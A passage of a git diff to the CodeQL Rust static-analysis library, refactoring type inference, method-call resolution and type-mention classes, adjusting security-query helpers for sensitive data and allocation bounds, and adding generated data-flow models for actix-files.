calls requires resolving types and vice versa + result = inferMethodCallTarget(this) // mutual recursion; resolving method calls requires resolving types and vice versa + } + } + + private class OperationAccess extends Access instanceof Operation { + OperationAccess() { super.isOverloaded(_, _) } + + override Type getTypeArgument(TypeArgumentPosition apos, TypePath path) { + // The syntax for operators does not allow type arguments. + none() + } + + override AstNode getNodeAt(AccessPosition apos) { + result = super.getOperand(0) and apos = TSelfAccessPosition() + or + result = super.getOperand(1) and apos = TPositionalAccessPosition(0, true) + or + result = this and apos = TReturnAccessPosition() + } + + override Type getInferredType(AccessPosition apos, TypePath path) { + result = inferType(this.getNodeAt(apos), path) + } + + override Declaration getTarget() { + result = inferMethodCallTarget(this) // mutual recursion; resolving method calls requires resolving types and vice versa } } @@ -745,7 +841,7 @@ private module FieldExprMatchingInput implements MatchingInputSig { ) or dpos.isField() and - result = this.getTypeRepr().(TypeReprMention).resolveTypeAt(path) + result = this.getTypeRepr().(TypeMention).resolveTypeAt(path) } } @@ -862,7 +958,7 @@ private Type inferRefExprType(Expr e, TypePath path) { e = re.getExpr() and exists(TypePath exprPath, TypePath refPath, Type exprType | result = inferType(re, exprPath) and - exprPath = TypePath::cons(TRefTypeParameter(), refPath) and + exprPath.isCons(TRefTypeParameter(), refPath) and exprType = inferType(e) | if exprType = TRefType() @@ -876,8 +972,9 @@ private Type inferRefExprType(Expr e, TypePath path) { pragma[nomagic] private Type inferTryExprType(TryExpr te, TypePath path) { - exists(TypeParam tp | - result = inferType(te.getExpr(), TypePath::cons(TTypeParamTypeParameter(tp), path)) + exists(TypeParam tp, TypePath path0 | + result = inferType(te.getExpr(), path0) and + path0.isCons(TTypeParamTypeParameter(tp), path) | tp = any(ResultEnum r).getGenericParamList().getGenericParam(0) or @@ -885,6 +982,198 @@ private Type inferTryExprType(TryExpr te, TypePath path) { ) } +pragma[nomagic] +private StructType inferLiteralType(LiteralExpr le) { + exists(Builtins::BuiltinType t | result = TStruct(t) | + le instanceof CharLiteralExpr and + t instanceof Builtins::Char + or + le instanceof StringLiteralExpr and + t instanceof Builtins::Str + or + le = + any(NumberLiteralExpr ne | + t.getName() = ne.getSuffix() + or + not exists(ne.getSuffix()) and + ( + ne instanceof IntegerLiteralExpr and + t instanceof Builtins::I32 + or + ne instanceof FloatLiteralExpr and + t instanceof Builtins::F64 + ) + ) + or + le instanceof BooleanLiteralExpr and + t instanceof Builtins::Bool + ) +} + +private module MethodCall { + /** An expression that calls a method. */ + abstract private class MethodCallImpl extends Expr { + /** Gets the name of the method targeted. */ + abstract string getMethodName(); + + /** Gets the number of arguments _excluding_ the `self` argument. */ + abstract int getArity(); + + /** Gets the trait targeted by this method call, if any. */ + Trait getTrait() { none() } + + /** Gets the type of the receiver of the method call at `path`. */ + abstract Type getTypeAt(TypePath path); + } + + final class MethodCall = MethodCallImpl; + + private class MethodCallExprMethodCall extends MethodCallImpl instanceof MethodCallExpr { + override string getMethodName() { result = super.getIdentifier().getText() } + + override int getArity() { result = super.getArgList().getNumberOfArgs() } + + pragma[nomagic] + override Type getTypeAt(TypePath path) { + exists(TypePath path0 | result = inferType(super.getReceiver(), path0) | + path0.isCons(TRefTypeParameter(), path) + or + not path0.isCons(TRefTypeParameter(), _) and + not (path0.isEmpty() and result = TRefType()) and + path = path0 + ) + } + } + + private class CallExprMethodCall extends MethodCallImpl instanceof CallExpr { + TraitItemNode trait; + string methodName; + Expr receiver; + + CallExprMethodCall() { + receiver = this.getArgList().getArg(0) and + exists(Path path, Function f | + path = this.getFunction().(PathExpr).getPath() and + f = resolvePath(path) and + f.getParamList().hasSelfParam() and + trait = resolvePath(path.getQualifier()) and + trait.getAnAssocItem() = f and + path.getSegment().getIdentifier().getText() = methodName + ) + } + + override string getMethodName() { result = methodName } + + override int getArity() { result = super.getArgList().getNumberOfArgs() - 1 } + + override Trait getTrait() { result = trait } + + pragma[nomagic] + override Type getTypeAt(TypePath path) { result = inferType(receiver, path) } + } + + private class OperationMethodCall extends MethodCallImpl instanceof Operation { + TraitItemNode trait; + string methodName; + + OperationMethodCall() { super.isOverloaded(trait, methodName) } + + override string getMethodName() { result = methodName } + + override int getArity() { result = this.(Operation).getNumberOfOperands() - 1 } + + override Trait getTrait() { result = trait } + + pragma[nomagic] + override Type getTypeAt(TypePath path) { + result = inferType(this.(BinaryExpr).getLhs(), path) + or + result = inferType(this.(PrefixExpr).getExpr(), path) + } + } +} + +import MethodCall + +/** + * Holds if a method for `type` with the name `name` and the arity `arity` + * exists in `impl`. + */ +private predicate methodCandidate(Type type, string name, int arity, Impl impl) { + type = impl.getSelfTy().(TypeMention).resolveType() and + exists(Function f | + f = impl.(ImplItemNode).getASuccessor(name) and + f.getParamList().hasSelfParam() and + arity = f.getParamList().getNumberOfParams() + ) +} + +/** + * Holds if a method for `type` for `trait` with the name `name` and the arity + * `arity` exists in `impl`. + */ +pragma[nomagic] +private predicate methodCandidateTrait(Type type, Trait trait, string name, int arity, Impl impl) { + trait = resolvePath(impl.(ImplItemNode).getTraitPath()) and + methodCandidate(type, name, arity, impl) +} + +private module IsInstantiationOfInput implements IsInstantiationOfInputSig { + pragma[nomagic] + predicate potentialInstantiationOf(MethodCall mc, TypeAbstraction impl, TypeMention constraint) { + exists(Type rootType, string name, int arity | + rootType = mc.getTypeAt(TypePath::nil()) and + name = mc.getMethodName() and + arity = mc.getArity() and + constraint = impl.(ImplTypeAbstraction).getSelfTy() + | + methodCandidateTrait(rootType, mc.getTrait(), name, arity, impl) + or + not exists(mc.getTrait()) and + methodCandidate(rootType, name, arity, impl) + ) + } + + predicate relevantTypeMention(TypeMention constraint) { + exists(Impl impl | methodCandidate(_, _, _, impl) and constraint = impl.getSelfTy()) + } +} + +bindingset[item, name] +pragma[inline_late] +private Function getMethodSuccessor(ItemNode item, string name) { + result = item.getASuccessor(name) +} + +bindingset[tp, name] +pragma[inline_late] +private Function getTypeParameterMethod(TypeParameter tp, string name) { + result = getMethodSuccessor(tp.(TypeParamTypeParameter).getTypeParam(), name) + or + result = getMethodSuccessor(tp.(SelfTypeParameter).getTrait(), name) +} + +/** Gets a method from an `impl` block that matches the method call `mc`. */ +private Function getMethodFromImpl(MethodCall mc) { + exists(Impl impl | + IsInstantiationOf::isInstantiationOf(mc, impl, _) and + result = getMethodSuccessor(impl, mc.getMethodName()) + ) +} + +/** + * Gets a method that the method call `mc` resolves to based on type inference, + * if any. + */ +private Function inferMethodCallTarget(MethodCall mc) { + // The method comes from an `impl` block targeting the type of the receiver. + result = getMethodFromImpl(mc) + or + // The type of the receiver is a type parameter and the method comes from a + // trait bound on the type parameter. + result = getTypeParameterMethod(mc.getTypeAt(TypePath::nil()), mc.getMethodName()) +} + cached private module Cached { private import codeql.rust.internal.CachedStages @@ -911,36 +1200,61 @@ private module Cached { ) } - pragma[inline] - private Type getLookupType(AstNode n) { - exists(Type t | - t = inferType(n) and - if t = TRefType() - then - // for reference types, lookup members in the type being referenced - result = inferType(n, TypePath::singleton(TRefTypeParameter())) - else result = t - ) + private predicate isInherentImplFunction(Function f) { + f = any(Impl impl | not impl.hasTrait()).(ImplItemNode).getAnAssocItem() } - pragma[nomagic] - private Type getMethodCallExprLookupType(MethodCallExpr mce, string name) { - result = getLookupType(mce.getReceiver()) and - name = mce.getIdentifier().getText() + private predicate isTraitImplFunction(Function f) { + f = any(Impl impl | impl.hasTrait()).(ImplItemNode).getAnAssocItem() } - /** - * Gets a method that the method call `mce` resolves to, if any. - */ + private Function resolveMethodCallTargetFrom(MethodCall mc, boolean fromSource) { + result = inferMethodCallTarget(mc) and + (if result.fromSource() then fromSource = true else fromSource = false) and + ( + // prioritize inherent implementation methods first + isInherentImplFunction(result) + or + not isInherentImplFunction(inferMethodCallTarget(mc)) and + ( + // then trait implementation methods + isTraitImplFunction(result) + or + not isTraitImplFunction(inferMethodCallTarget(mc)) and + ( + // then trait methods with default implementations + result.hasBody() + or + // and finally trait methods without default implementations + not inferMethodCallTarget(mc).hasBody() + ) + ) + ) + } + + /** Gets a method that the method call `mc` resolves to, if any. */ cached - Function resolveMethodCallExpr(MethodCallExpr mce) { - exists(string name | result = getMethodCallExprLookupType(mce, name).getMethod(name)) + Function resolveMethodCallTarget(MethodCall mc) { + // Functions in source code also gets extracted as library code, due to + // this duplication we prioritize functions from source code. + result = resolveMethodCallTargetFrom(mc, true) + or + not exists(resolveMethodCallTargetFrom(mc, true)) and + result = resolveMethodCallTargetFrom(mc, false) + } + + pragma[inline] + private Type inferRootTypeDeref(AstNode n) { + result = inferType(n) and + result != TRefType() + or + // for reference types, lookup members in the type being referenced + result = inferType(n, TypePath::singleton(TRefTypeParameter())) } pragma[nomagic] private Type getFieldExprLookupType(FieldExpr fe, string name) { - result = getLookupType(fe.getContainer()) and - name = fe.getIdentifier().getText() + result = inferRootTypeDeref(fe.getContainer()) and name = fe.getIdentifier().getText() } /** @@ -1011,6 +1325,10 @@ private module Cached { Stages::TypeInferenceStage::ref() and result = inferAnnotatedType(n, path) or + result = inferLogicalOperationType(n, path) + or + result = inferAssignmentOperationType(n, path) + or result = inferTypeEquality(n, path) or result = inferImplicitSelfType(n, path) @@ -1026,6 +1344,9 @@ private module Cached { result = inferRefExprType(n, path) or result = inferTryExprType(n, path) + or + result = inferLiteralType(n) and + path.isEmpty() } } @@ -1042,7 +1363,7 @@ private module Debug { exists(string filepath, int startline, int startcolumn, int endline, int endcolumn | result.getLocation().hasLocationInfo(filepath, startline, startcolumn, endline, endcolumn) and filepath.matches("%/main.rs") and - startline = 28 + startline = 948 ) } @@ -1053,6 +1374,6 @@ private module Debug { Function debugResolveMethodCallExpr(MethodCallExpr mce) { mce = getRelevantLocatable() and - result = resolveMethodCallExpr(mce) + result = resolveMethodCallTarget(mce) } } diff --git a/rust/ql/lib/codeql/rust/internal/TypeInferenceConsistency.qll b/rust/ql/lib/codeql/rust/internal/TypeInferenceConsistency.qll index 214ee3e6d493..e9bcf35badc4 100644 --- a/rust/ql/lib/codeql/rust/internal/TypeInferenceConsistency.qll +++ b/rust/ql/lib/codeql/rust/internal/TypeInferenceConsistency.qll @@ -2,4 +2,28 @@ * Provides classes for recognizing type inference inconsistencies. */ +private import Type +private import TypeMention +private import TypeInference::Consistency as Consistency import TypeInference::Consistency + +query predicate illFormedTypeMention(TypeMention tm) { + Consistency::illFormedTypeMention(tm) and + // Only include inconsistencies in the source, as we otherwise get + // inconsistencies from library code in every project. + tm.fromSource() +} + +int getTypeInferenceInconsistencyCounts(string type) { + type = "Missing type parameter ID" and + result = count(TypeParameter tp | missingTypeParameterId(tp) | tp) + or + type = "Non-functional type parameter ID" and + result = count(TypeParameter tp | nonFunctionalTypeParameterId(tp) | tp) + or + type = "Non-injective type parameter ID" and + result = count(TypeParameter tp | nonInjectiveTypeParameterId(tp, _) | tp) + or + type = "Ill-formed type mention" and + result = count(TypeMention tm | illFormedTypeMention(tm) | tm) +} diff --git a/rust/ql/lib/codeql/rust/internal/TypeMention.qll b/rust/ql/lib/codeql/rust/internal/TypeMention.qll index df180e8f6cfa..7e947a35bc48 100644 --- a/rust/ql/lib/codeql/rust/internal/TypeMention.qll +++ b/rust/ql/lib/codeql/rust/internal/TypeMention.qll @@ -31,53 +31,33 @@ abstract class TypeMention extends AstNode { Type resolveTypeAt(TypePath path) { result = this.getMentionAt(path).resolveType() } } -class TypeReprMention extends TypeMention, TypeRepr { - TypeReprMention() { not this instanceof InferTypeRepr } +class ArrayTypeReprMention extends TypeMention instanceof ArrayTypeRepr { + override TypeMention getTypeArgument(int i) { result = super.getElementTypeRepr() and i = 0 } - override TypeReprMention getTypeArgument(int i) { - result = this.(ArrayTypeRepr).getElementTypeRepr() and - i = 0 - or - result = this.(RefTypeRepr).getTypeRepr() and - i = 0 - or - result = this.(PathTypeRepr).getPath().(PathMention).getTypeArgument(i) - } + override Type resolveType() { result = TArrayType() } +} - override Type resolveType() { - this instanceof ArrayTypeRepr and - result = TArrayType() - or - this instanceof RefTypeRepr and - result = TRefType() - or - result = this.(PathTypeRepr).getPath().(PathMention).resolveType() - } +class RefTypeReprMention extends TypeMention instanceof RefTypeRepr { + override TypeMention getTypeArgument(int i) { result = super.getTypeRepr() and i = 0 } - override Type resolveTypeAt(TypePath path) { - result = this.(PathTypeRepr).getPath().(PathMention).resolveTypeAt(path) - or - not exists(this.(PathTypeRepr).getPath()) and - result = super.resolveTypeAt(path) - } + override Type resolveType() { result = TRefType() } } -/** Holds if `path` resolves to the type alias `alias` with the definition `rhs`. */ -private predicate resolvePathAlias(Path path, TypeAlias alias, TypeReprMention rhs) { - alias = resolvePath(path) and rhs = alias.getTypeRepr() -} +class PathTypeReprMention extends TypeMention instanceof PathTypeRepr { + Path path; + ItemNode resolved; -abstract class PathMention extends TypeMention, Path { - override TypeMention getTypeArgument(int i) { - result = this.getSegment().getGenericArgList().getTypeArg(i) + PathTypeReprMention() { + path = super.getPath() and + // NOTE: This excludes unresolvable paths which is intentional as these + // don't add value to the type inference anyway. + resolved = resolvePath(path) } -} -class NonAliasPathMention extends PathMention { - NonAliasPathMention() { not resolvePathAlias(this, _, _) } + ItemNode getResolved() { result = resolved } override TypeMention getTypeArgument(int i) { - result = super.getTypeArgument(i) + result = path.getSegment().getGenericArgList().getTypeArg(i) or // `Self` paths inside `impl` blocks have implicit type arguments that are // the type parameters of the `impl` block. For example, in @@ -92,17 +72,17 @@ class NonAliasPathMention extends PathMention { // // the `Self` return type is shorthand for `Foo`. exists(ImplItemNode node | - this = node.getASelfPath() and + path = node.getASelfPath() and result = node.(ImplItemNode).getSelfPath().getSegment().getGenericArgList().getTypeArg(i) ) or - // If `this` is the trait of an `impl` block then any associated types + // If `path` is the trait of an `impl` block then any associated types // defined in the `impl` block are type arguments to the trait. // // For instance, for a trait implementation like this // ```rust // impl MyTrait for MyType { - // ^^^^^^^ this + // ^^^^^^^ path // type AssociatedType = i64 // ^^^ result // // ... @@ -110,141 +90,113 @@ class NonAliasPathMention extends PathMention { // ``` // the rhs. of the type alias is a type argument to the trait. exists(ImplItemNode impl, AssociatedTypeTypeParameter param, TypeAlias alias | - this = impl.getTraitPath() and - param.getTrait() = resolvePath(this) and + path = impl.getTraitPath() and + param.getTrait() = resolved and alias = impl.getASuccessor(param.getTypeAlias().getName().getText()) and result = alias.getTypeRepr() and param.getIndex() = i ) } + /** + * Holds if this path resolved to a type alias with a rhs. that has the + * resulting type at `typePath`. + */ + Type aliasResolveTypeAt(TypePath typePath) { + exists(TypeAlias alias, TypeMention rhs | alias = resolved and rhs = alias.getTypeRepr() | + result = rhs.resolveTypeAt(typePath) and + not result = pathGetTypeParameter(alias, _) + or + exists(TypeParameter tp, TypeMention arg, TypePath prefix, TypePath suffix, int i | + tp = rhs.resolveTypeAt(prefix) and + tp = pathGetTypeParameter(alias, i) and + arg = path.getSegment().getGenericArgList().getTypeArg(i) and + result = arg.resolveTypeAt(suffix) and + typePath = prefix.append(suffix) + ) + ) + } + override Type resolveType() { - exists(ItemNode i | i = resolvePath(this) | - result = TStruct(i) + result = this.aliasResolveTypeAt(TypePath::nil()) + or + not exists(resolved.(TypeAlias).getTypeRepr()) and + ( + result = TStruct(resolved) or - result = TEnum(i) + result = TEnum(resolved) or - exists(TraitItemNode trait | trait = i | + exists(TraitItemNode trait | trait = resolved | // If this is a `Self` path, then it resolves to the implicit `Self` // type parameter, otherwise it is a trait bound. - if this = trait.getASelfPath() + if super.getPath() = trait.getASelfPath() then result = TSelfTypeParameter(trait) else result = TTrait(trait) ) or - result = TTypeParamTypeParameter(i) + result = TTypeParamTypeParameter(resolved) or - exists(TypeAlias alias | alias = i | + exists(TypeAlias alias | alias = resolved | result.(AssociatedTypeTypeParameter).getTypeAlias() = alias or - result = alias.getTypeRepr().(TypeReprMention).resolveType() + result = alias.getTypeRepr().(TypeMention).resolveType() ) ) } -} - -class AliasPathMention extends PathMention { - TypeAlias alias; - TypeReprMention rhs; - - AliasPathMention() { resolvePathAlias(this, alias, rhs) } - - /** Get the `i`th type parameter of the alias itself. */ - private TypeParameter getTypeParameter(int i) { - result = TTypeParamTypeParameter(alias.getGenericParamList().getTypeParam(i)) - } - override Type resolveType() { result = rhs.resolveType() } - - override Type resolveTypeAt(TypePath path) { - result = rhs.resolveTypeAt(path) and - not result = this.getTypeParameter(_) + override Type resolveTypeAt(TypePath typePath) { + result = this.aliasResolveTypeAt(typePath) or - exists(TypeParameter tp, TypeMention arg, TypePath prefix, TypePath suffix, int i | - tp = rhs.resolveTypeAt(prefix) and - tp = this.getTypeParameter(i) and - arg = this.getTypeArgument(i) and - result = arg.resolveTypeAt(suffix) and - path = prefix.append(suffix) - ) + not exists(resolved.(TypeAlias).getTypeRepr()) and + result = super.resolveTypeAt(typePath) } } +private TypeParameter pathGetTypeParameter(TypeAlias alias, int i) { + result = TTypeParamTypeParameter(alias.getGenericParamList().getTypeParam(i)) +} + // Used to represent implicit `Self` type arguments in traits and `impl` blocks, // see `PathMention` for details. -class TypeParamMention extends TypeMention, TypeParam { - override TypeReprMention getTypeArgument(int i) { none() } +class TypeParamMention extends TypeMention instanceof TypeParam { + override TypeMention getTypeArgument(int i) { none() } override Type resolveType() { result = TTypeParamTypeParameter(this) } } // Used to represent implicit type arguments for associated types in traits. -class TypeAliasMention extends TypeMention, TypeAlias { +class TypeAliasMention extends TypeMention instanceof TypeAlias { private Type t; TypeAliasMention() { t = TAssociatedTypeTypeParameter(this) } - override TypeReprMention getTypeArgument(int i) { none() } + override TypeMention getTypeArgument(int i) { none() } override Type resolveType() { result = t } } -/** - * Holds if the `i`th type argument of `selfPath`, belonging to `impl`, resolves - * to type parameter `tp`. - * - * Example: - * - * ```rust - * impl Foo for Bar { ... } - * // ^^^^^^ selfPath - * // ^ tp - * ``` - */ -pragma[nomagic] -private predicate isImplSelfTypeParam( - ImplItemNode impl, PathMention selfPath, int i, TypeParameter tp -) { - exists(PathMention path | - selfPath = impl.getSelfPath() and - path = selfPath.getSegment().getGenericArgList().getTypeArg(i).(PathTypeRepr).getPath() and - tp = path.resolveType() - ) -} - -class ImplMention extends TypeMention, ImplItemNode { - override TypeReprMention getTypeArgument(int i) { none() } - - override Type resolveType() { result = TImpl(this) } - - override Type resolveTypeAt(TypePath path) { - result = TImpl(this) and - path.isEmpty() - or - // For example, in - // - // ```rust - // struct S(T1); - // - // impl S { ... } - // ``` - // - // We get that the type path "0" resolves to `T1` for the `impl` block, - // which is considered a base type mention of `S`. - exists(PathMention selfPath, TypeParameter tp, int i | - isImplSelfTypeParam(this, selfPath, pragma[only_bind_into](i), tp) and - result = selfPath.resolveType().getTypeParameter(pragma[only_bind_into](i)) and - path = TypePath::singleton(tp) - ) - } -} - -class TraitMention extends TypeMention, TraitItemNode { +class TraitMention extends TypeMention instanceof TraitItemNode { override TypeMention getTypeArgument(int i) { - result = this.getTypeParam(i) + result = super.getTypeParam(i) or traitAliasIndex(this, i, result) } override Type resolveType() { result = TTrait(this) } } + +// NOTE: Since the implicit type parameter for the self type parameter never +// appears in the AST, we (somewhat arbitrarily) choose the name of a trait as a +// type mention. This works because there is a one-to-one correspondence between +// a trait and its name. +class SelfTypeParameterMention extends TypeMention instanceof Name { + Trait trait; + + SelfTypeParameterMention() { trait.getName() = this } + + Trait getTrait() { result = trait } + + override Type resolveType() { result = TSelfTypeParameter(trait) } + + override TypeMention getTypeArgument(int i) { none() } +} diff --git a/rust/ql/lib/codeql/rust/security/AccessInvalidPointerExtensions.qll b/rust/ql/lib/codeql/rust/security/AccessInvalidPointerExtensions.qll index 377886092117..444db0142090 100644 --- a/rust/ql/lib/codeql/rust/security/AccessInvalidPointerExtensions.qll +++ b/rust/ql/lib/codeql/rust/security/AccessInvalidPointerExtensions.qll @@ -50,9 +50,7 @@ module AccessInvalidPointer { * A pointer access using the unary `*` operator. */ private class DereferenceSink extends Sink { - DereferenceSink() { - exists(PrefixExpr p | p.getOperatorName() = "*" and p.getExpr() = this.asExpr().getExpr()) - } + DereferenceSink() { any(DerefExpr p).getExpr() = this.asExpr().getExpr() } } /** diff --git a/rust/ql/lib/codeql/rust/security/SensitiveData.qll b/rust/ql/lib/codeql/rust/security/SensitiveData.qll index 5a5f5a6dec03..bf3364abdb6b 100644 --- a/rust/ql/lib/codeql/rust/security/SensitiveData.qll +++ b/rust/ql/lib/codeql/rust/security/SensitiveData.qll @@ -22,64 +22,56 @@ abstract class SensitiveData extends DataFlow::Node { } /** - * A function that might produce sensitive data. - */ -private class SensitiveDataFunction extends Function { - SensitiveDataClassification classification; - - SensitiveDataFunction() { - HeuristicNames::nameIndicatesSensitiveData(this.getName().getText(), classification) - } - - SensitiveDataClassification getClassification() { result = classification } -} - -/** - * A function call data flow node that might produce sensitive data. + * A function call or enum variant data flow node that might produce sensitive data. */ private class SensitiveDataCall extends SensitiveData { SensitiveDataClassification classification; SensitiveDataCall() { - classification = - this.asExpr() - .getAstNode() - .(CallExprBase) - .getStaticTarget() - .(SensitiveDataFunction) - .getClassification() + exists(CallExprBase call, string name | + call = this.asExpr().getExpr() and + name = + [ + call.getStaticTarget().(Function).getName().getText(), + call.(CallExpr).getVariant().getName().getText(), + ] and + HeuristicNames::nameIndicatesSensitiveData(name, classification) + ) } override SensitiveDataClassification getClassification() { result = classification } } /** - * A variable that might contain sensitive data. + * A variable access data flow node that might be sensitive data. */ -private class SensitiveDataVariable extends Variable { +private class SensitiveVariableAccess extends SensitiveData { SensitiveDataClassification classification; - SensitiveDataVariable() { - HeuristicNames::nameIndicatesSensitiveData(this.getText(), classification) + SensitiveVariableAccess() { + HeuristicNames::nameIndicatesSensitiveData(this.asExpr() + .getExpr() + .(VariableAccess) + .getVariable() + .(Variable) + .getText(), classification) } - SensitiveDataClassification getClassification() { result = classification } + override SensitiveDataClassification getClassification() { result = classification } } +private Expr fieldExprParentField(FieldExpr fe) { result = fe.getParentNode() } + /** - * A variable access data flow node that might produce sensitive data. + * A field access data flow node that might be sensitive data. */ -private class SensitiveVariableAccess extends SensitiveData { +private class SensitiveFieldAccess extends SensitiveData { SensitiveDataClassification classification; - SensitiveVariableAccess() { - classification = - this.asExpr() - .getAstNode() - .(VariableAccess) - .getVariable() - .(SensitiveDataVariable) - .getClassification() + SensitiveFieldAccess() { + exists(FieldExpr fe | fieldExprParentField*(fe) = this.asExpr().getExpr() | + HeuristicNames::nameIndicatesSensitiveData(fe.getIdentifier().getText(), classification) + ) } override SensitiveDataClassification getClassification() { result = classification } diff --git a/rust/ql/lib/codeql/rust/security/UncontrolledAllocationSizeExtensions.qll b/rust/ql/lib/codeql/rust/security/UncontrolledAllocationSizeExtensions.qll index b8ab16090d19..2f4898f6e9da 100644 --- a/rust/ql/lib/codeql/rust/security/UncontrolledAllocationSizeExtensions.qll +++ b/rust/ql/lib/codeql/rust/security/UncontrolledAllocationSizeExtensions.qll @@ -43,51 +43,23 @@ module UncontrolledAllocationSize { } } - /** - * Gets the operand on the "greater" (or "greater-or-equal") side - * of this relational expression, that is, the side that is larger - * if the overall expression evaluates to `true`; for example on - * `x <= 20` this is the `20`, and on `y > 0` it is `y`. - */ - private Expr getGreaterOperand(BinaryExpr op) { - op.getOperatorName() = ["<", "<="] and - result = op.getRhs() - or - op.getOperatorName() = [">", ">="] and - result = op.getLhs() - } - - /** - * Gets the operand on the "lesser" (or "lesser-or-equal") side - * of this relational expression, that is, the side that is smaller - * if the overall expression evaluates to `true`; for example on - * `x <= 20` this is `x`, and on `y > 0` it is the `0`. - */ - private Expr getLesserOperand(BinaryExpr op) { - op.getOperatorName() = ["<", "<="] and - result = op.getLhs() - or - op.getOperatorName() = [">", ">="] and - result = op.getRhs() - } - /** * Holds if comparison `g` having result `branch` indicates an upper bound for the sub-expression * `node`. For example when the comparison `x < 10` is true, we have an upper bound for `x`. */ private predicate isUpperBoundCheck(CfgNodes::AstCfgNode g, Cfg::CfgNode node, boolean branch) { exists(BinaryExpr cmp | g = cmp.getACfgNode() | - node = getLesserOperand(cmp).getACfgNode() and + node = cmp.(RelationalOperation).getLesserOperand().getACfgNode() and branch = true or - node = getGreaterOperand(cmp).getACfgNode() and + node = cmp.(RelationalOperation).getGreaterOperand().getACfgNode() and branch = false or - cmp.getOperatorName() = "==" and + cmp instanceof EqualsOperation and [cmp.getLhs(), cmp.getRhs()].getACfgNode() = node and branch = true or - cmp.getOperatorName() = "!=" and + cmp instanceof NotEqualsOperation and [cmp.getLhs(), cmp.getRhs()].getACfgNode() = node and branch = false ) diff --git a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-files.model.yml b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-files.model.yml new file mode 100644 index 000000000000..ed7c81cde187 --- /dev/null +++ b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-files.model.yml @@ -0,0 +1,58 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/actix/actix-web:actix-files", "::new", "Argument[0]", "ReturnValue.Field[crate::directory::Directory::base]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::new", "Argument[1]", "ReturnValue.Field[crate::directory::Directory::path]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::default_handler", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::disable_content_disposition", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::files_listing_renderer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::guard", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::index_file", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::method_guard", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::mime_override", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::path_filter", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::prefer_utf8", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::redirect_to_slash_directory", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::show_files_listing", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::use_etag", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::use_guards", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::use_hidden_files", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::use_last_modified", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::content_disposition", "Argument[self].Field[crate::named::NamedFile::content_disposition]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::content_encoding", "Argument[self].Field[crate::named::NamedFile::encoding]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::content_type", "Argument[self].Field[crate::named::NamedFile::content_type]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::disable_content_disposition", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::etag", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::file", "Argument[self].Field[crate::named::NamedFile::file]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::from_file", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::named::NamedFile::file]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::last_modified", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::metadata", "Argument[self].Field[crate::named::NamedFile::md]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::modified", "Argument[self].Field[crate::named::NamedFile::modified]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::path", "Argument[self].Field[crate::named::NamedFile::path]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::path", "Argument[self].Field[crate::named::NamedFile::path]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::prefer_utf8", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::set_content_disposition", "Argument[0]", "Argument[self].Field[crate::named::NamedFile::content_disposition]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::set_content_disposition", "Argument[0]", "ReturnValue.Field[crate::named::NamedFile::content_disposition]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::set_content_disposition", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::set_content_encoding", "Argument[0]", 